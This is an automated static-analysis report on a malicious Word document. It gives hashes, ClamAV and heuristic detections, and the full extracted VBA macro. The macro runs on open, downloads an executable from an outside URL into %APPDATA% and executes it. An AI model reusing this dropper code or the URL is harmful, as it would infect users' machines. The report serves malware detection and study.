Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e23a7b8420cb0913…

MALICIOUS

Office (OOXML)

20.9 KB Created: 2013-11-18 11:49:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2014-03-15
MD5: 49cc35a3581792437fe45860dd4deea2 SHA-1: 888c5e26d6ca7babafd346a05dd8ecad56c6dbf5 SHA-256: e23a7b8420cb0913bb03233e2ca3155d3f528752e58713bd51a4d16d2a5019d8
446 Risk Score

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://donghonuocsach.com.vn/admin/lang/office.exe Referenced by macro
    • http://donghonuocsach.com.vn/admin/lang/office.exe�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1756 bytes
SHA-256: e3f3ade9cc641bdb2c45fca2691940feef7e9f8a80f2e55b259b986c0bf9c43b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    h
End Sub

Sub h()

Set oShell = CreateObject("WScript.Shell")
strH = oShell.ExpandEnvironmentStrings("%APPDATA%")
Dim sDir: sDir = strH & "\q"

      
 Set fso = CreateObject("Scripting.FileSystemObject")
   If (fso.FolderExists(sDir)) Then


   Else
   Set oFSO = CreateObject("Scripting.FileSystemObject")
      oFSO.CreateFolder sDir
   

End If

Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "http://donghonuocsach.com.vn/admin/lang/office.exe", False
xHttp.Send

With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile strH & "\q\q.com", 2
End With


Call m(sDir)

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Function m(str11)
    Dim fso, f, fc, f1, strF, intFiles
    Dim WshShell

    Set WshShell = CreateObject("WScript.Shell")

    strF = ""

    Set fso = CreateObject("Scripting.FileSystemObject")
    If (fso.FolderExists(str11)) Then
        Set f = fso.GetFolder(str11)
        Set fc = f.Files

        
        For Each f1 In fc
        Dim fR
        fR = str11 & "\" & f1.Name
        WshShell.Run Chr(34) & fR & Chr(34), 1, True
    Next

        Set f1 = Nothing
        Set fc = Nothing
        Set f = Nothing


    End If
    Set fso = Nothing
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 7f78a3d20c13e93f48711ede3c0c60c4e783d54f0cfd9b3a8a3211465079d15b
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely